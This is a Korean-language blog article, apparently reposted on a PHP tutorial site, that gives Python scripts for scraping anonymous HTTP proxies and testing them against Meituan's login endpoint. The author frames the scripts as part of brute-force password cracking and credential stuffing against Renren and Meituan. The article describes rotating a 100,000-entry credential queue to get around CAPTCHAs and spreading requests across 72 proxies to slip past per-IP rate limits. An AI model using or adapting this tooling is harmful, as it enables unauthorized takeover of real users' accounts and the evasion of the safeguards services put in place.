>  기사  >  백엔드 개발  >  Python을 통해 일괄적으로 HTTP 프록시를 얻고 확인하는 코드 예제

Python을 통해 일괄적으로 HTTP 프록시를 얻고 확인하는 코드 예제

Y2J
Y2J원래의
2017-05-02 15:24:121457검색

이 기사에서는 주로 HTTP 프록시의 일괄 획득 및 확인을 위한 Python 스크립트를 소개합니다. 필요한 친구는

HTTP 무차별 대입 크래킹 및 자격 증명 스터핑을 참조할 수 있습니다.

1. Renren.com에서 계정을 스캔할 때 단일 계정 오류가 두 번 발생하여 강제로 인증 코드를 입력했는데 상대방이 IP 정책을 구현하지 않았습니다.

인증코드를 우회하기 위해 100,000개의 대기열(사용자 이름, 비밀번호)을 유지하는 방법을 사용합니다. 구체적인 방법은 특정 사용자 이름과 비밀번호 조합에 인증 코드가 필요한 경우 크래킹 순서를 일시 중단하고 대기열 끝에 배치하여 다음 테스트를 기다린 후 계속해서 다른 계정 비밀번호를 크랙하는 것입니다.

이런 방식으로 일반 크래킹 및 계정 검색에 소요되는 시간의 2/3를 확보할 수 있습니다.

2. Meituan.com에서 시스템 계정을 크랙할 때 단일 IP 액세스에 대한 특정 제한이 발생했으며 요청 빈도가 너무 빠르면 안 됩니다. 그래서 이 문제를 해결하기 위해 72개의 HTTP 프록시를 끊었습니다. 각 IP의 요청은 정상적인 것으로 보이지만 실제로 전체 프로그램 관점에서 보면 효율성이 상당히 인상적입니다.

이 기사에서는 실제로 몇 줄만 포함된 내 HTTP 스크립트의 일부를 게시했습니다. 익명 프록시는 여기에서 가져옵니다: http://www.xici.net.co/nn/

먼저 프록시 목록을 가져옵니다:

from bs4 import BeautifulSoup
import urllib2
of = open('proxy.txt' , 'w')
for page in range(1, 160):
  html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
  soup = BeautifulSoup(html_doc)
  trs = soup.find('table', id='ip_list').find_all('tr')
  for tr in trs[1:]:
    tds = tr.find_all('td')
    ip = tds[1].text.strip()
    port = tds[2].text.strip()
    protocol = tds[5].text.strip()
    if protocol == 'HTTP' or protocol == 'HTTPS':
      of.write('%s=%s:%s\n' % (protocol, ip, port) )
      print '%s=%s:%s' % (protocol, ip, port)
of.close()

그런 다음 프록시를 사용할 수 있는지 확인하세요. 저는 메이투안 시스템을 크랙하는 데 사용된 계정이므로 메이투안 페이지 태그가 사용됩니다:

#encoding=gbk
import httplib
import time
import urllib
import threading
inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')
lock = threading.Lock()
def test():
  while True:
    lock.acquire()
    line = inFile.readline().strip()
    lock.release()
    if len(line) == 0: break
    protocol, proxy = line.split('=')
    headers = {'Content-Type': 'application/x-www-form-urlencoded',
      'Cookie': ''}
    try:
      conn = httplib.HTTPConnection(proxy, timeout=3.0)
      conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
      res = conn.getresponse()
      ret_headers = str( res.getheaders() ) 
      html_doc = res.read().decode('utf-8')
      print html_doc.encode('gbk')
      if ret_headers.find(u'/m/account/login/') > 0:
        lock.acquire()
        print 'add proxy', proxy
        outFile.write(proxy + '\n')
        lock.release()
      else:
        print '.',
    except Exception, e:
      print e

all_thread = []
for i in range(50):
  t = threading.Thread(target=test)
  all_thread.append(t)
  t.start()
  
for t in all_thread:
  t.join()

inFile.close()
outFile.close()

위 내용은 Python을 통해 일괄적으로 HTTP 프록시를 얻고 확인하는 코드 예제의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.